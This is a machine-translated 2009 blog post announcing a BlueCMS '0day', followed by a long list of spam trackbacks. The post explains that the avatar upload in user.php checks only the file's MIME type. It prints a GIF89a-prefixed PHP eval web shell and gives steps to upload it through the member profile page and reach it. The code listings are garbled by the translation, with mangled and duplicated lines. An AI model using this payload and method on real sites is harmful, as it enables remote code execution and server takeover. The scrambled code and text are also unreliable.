RSS

bluecms 0day

Ця запис була розміщена на 7 жовтня 2009

: St0p
Відтворюється вкажіть джерело: http://www.st0p.org

Примітка: На жаль, версія вранці волосся на ніч називається двоїстої до газети 0day, інформація і просто зайти на офіційний дивилися, і випустила оновлення для системи безпеки скоро .. а ви можете виходити в інтернет Не оновлена ​​версія тесту ...

На жаль, група мій друг зробив CMS, сказав даних користувача змінити деякі з них можуть бути введені, сказав, що аналіз, з локально встановленої після цього, не може використовувати одинарні лапки екрануються magic_quotes_gpc = OFF. . .

Дивіться include / common.inc.php лінії, здавайтеся. .

 
 2
 3
 4
 5
 6
 7
 8
 9
  ......
  ! get_magic_quotes_gpc ( ) ) якщо (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; $ _POST = Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET = Deep_addslashes ($ _GET);
 	 deep_addslashes ( $_COOKIES ) ; $ _COOKIES = Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; = $ _REQUEST Deep_addslashes ($ _REQUEST);
  }
 ...... 

Можливо st0p удачі см. завантажувати фотографії деталей, аналіз коду, використовувати щось знайти в user.php. .

 
 2
 3
 4
 5
 6
  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. 'include / upload.class.php'); / / викликаємо клас завантаження
     new upload ( ) ; $ Image = нові завантаження ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { якщо (Ісеть ($ _FILES ['face_pic'] ['помилка']) && $ _FILES ['face_pic'] ['помилка'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; $ = $ Face_pic зображення -> img_upload ($ _FILES ['face_pic'], 'face_pic'); 
                          / / Не виявляти суфікс безпосередньо в клас зможуть пройти SHELL
	 } 

Відкрийте вмикати / upload.class.php тільки для визначення заголовка файлу не виявляє суфікс

 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 upload { private $allow_image_type = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; ...... function img_upload ( $file , $dir = '' , $imgname = '' ) { if ( empty ( $dir ) ) { $dir = BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; } else { $dir = BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; } if ( ! file_exists ( $dir ) ) { if ( ! mkdir ( $dir ) ) { showmsg ( '上传过程中创建目录失败' ) ; } } if ( empty ( $imgname ) ) { $imgname = $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; } $imgname = $dir . $imgname ; if ( ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了 showmsg ( '不允许的图片类型' ) ; } } Клас ...... завантаження {приватних $ allow_image_type = Array ("зображення / JPG», «зображення / малюнок», «зображення / PNG», «зображення / pjpeg '); ...... функції img_upload ($ файл, каталог $ ='', $ imgname ='') {якщо (пусто ($ DIR)) {$ = BLUE_ROOT каталог завантаження даних дати ("ут") "/", ....} ще {$ = каталог BLUE_ROOT завантаження даних $ каталозі "/", ..} якщо (file_exists ($ DIR)) {якщо (MkDir ($ DIR)) {showmsg («Процес завантаження не вдалося створити каталог ');}}, якщо (пусто ($ imgname)) {$ imgname = $ це -> create_tempname () $ це -> get_type ($ файлу ['ім'я']);.} $ imgname = $ $ imgname каталог, якщо (in_array ($.! Файл ['типу'], $ це -> allow_image_type)) {/ / просто виявити файл заголовка, ми безпосередньо побудувати SHELL як showmsg зображення типу ("не допускається");}} 

Вище для збереження st0p.php

 
 2
  GIF89a
 ( $_POST [ st0p ] ) ; ?> <Php Eval ($ _POST [st0p]);?> 

Примітка мережі логін, член -> мій профіль, а потім завантажити новий образ до виборів ми побудували PHP файлу, точка, щоб підтвердити зміну, перегляд адресу успішно, клацніть правою кнопкою миші на фотографії безпосередньо на лінії. . Слово SHELL успішно завантажений!

bluecms-0day1

bluecms-0day2

Аналіз завершений, я сподіваюся, що більше бірж, питання про ці речі просто хочу зустрітися з друзями, щоб обговорити технології, створені групи, а просто звичайна група, тільки 100 осіб, очистити, ніколи не говори був сильно завантажений В хаосі T, депресія, відкрита група для обміну, не говори був прототип на місці, хочуть прогресу, осторонь дороги не може тривати!
Якщо ви в групі тільки, щоб отримати результати обговорення інших від інших, не знаю, заплатити, або просто прийти дайвінгом або без. . .

Chinese (Simplified) flagItalian flagKorean flagChinese (Traditional) flagPortuguese flagEnglish flagGerman flagFrench flagSpanish flagJapanese flagArabic flagRussian flagGreek flagDutch flagBulgarian flagCzech flagCroatian flagDanish flagFinnish flagHindi flagPolish flagRomanian flagSwedish flagNorwegian flagCatalan flagFilipino flagHebrew flagIndonesian flagLatvian flagLithuanian flagSerbian flagSlovak flagSlovenian flagUkrainian flagVietnamese flagAlbanian flagEstonian flagGalician flagMaltese flagThai flagTurkish flagHungarian flag


79 Відповідей на "bluecms 0day"

  1. Ja, verjetno ЗАТЕ е


  1. 78 Trackback (и)

  2. Керівництво для початківців олівець, малюнок
  3. Таксі Бостоні
  4. Садівники дюйма Крауч кінець N8
  5. Пейзаж садівників Лондоні
  6. електронна книга
  7. остаточні технології supercubeï ¿ ½ 6000
  8. nutricion Deportiva
  9. ватман, вилучення гільзи
  10. Тіу 1
  11. portarollo
  12. antykwariaty
  13. П »¿ Послуги Альфа-Гарантія,
  14. Послуги Альфа-Гарантії
  15. NBA прогнози
  16. Manistee весільного фотографа
  17. WOF Крайстчерч
  18. безкоштовно порно відео на
  19. сорочка бодібілдингу т
  20. NFL шанси
  21. Де ставити Super Bowl 46
  22. травми спини
  23. вільний Оголошення
  24. Георгіївська мануального терапевта
  25. ясновидців Великобританії
  26. спортивного ставки
  27. Phlebotomy техніка
  28. Mazda запчастини
  29. слюсар автомобіля в Порт-Річмонд, штат Нью-Йорк
  30. agustus
  31. trycholog Гдині
  32. купони заміни масла
  33. топ азіатська спортивного
  34. Дональд Бобик пірнути абонемент
  35. Окленд drainlayer
  36. психічний світ
  37. Elektrik
  38. фізична терапія помічник
  39. туристи світу
  40. екстрасенси
  41. Абдель-Малик
  42. будинки пг
  43. гольф гойдалки допомогу
  44. столярні вироби Окленд
  45. психічних читань
  46. кури ніч
  47. Абубакар
  48. Онлайн-ігри
  49. Alisson
  50. NBA Picks
  51. вільний психічної чаті
  52. безпека двері пг
  53. походи магазинів
  54. будинки відпочинку дюйма Окленд
  55. геодезистів Окленд
  56. інтернет рибу в магазині
  57. Ares, скачати безкоштовно
  58. Szkoła jazdy Гдиня opinie
  59. antykwariaty
  60. Жалюзі
  61. Безкоштовно б'є Dre
  62. Фіджі пакети
  63. Сайт маркетингу
  64. Treehouses
  65. Динамічний ізоляції
  66. в тату
  67. Рейтинг SEO послуги,
  68. Управління ланцюжками поставок для гольфу,
  69. ЦРУ Test Prep
  70. вікна Окленд
  71. Chanel, ГОДИННИК
  72. котирування страхування автомобіля
  73. сонячне
  74. оцінка бізнесу
  75. assentient навпаки bestamp до
  76. сумки Gucci Outlet
  77. Grecja niepodległa.
  78. . Наполеона I jego marszałkowie Наполеона та ін сесію marechaux
  79. Натисніть тут!

Ви повинні бути зареєстровані , щоб залишити коментар.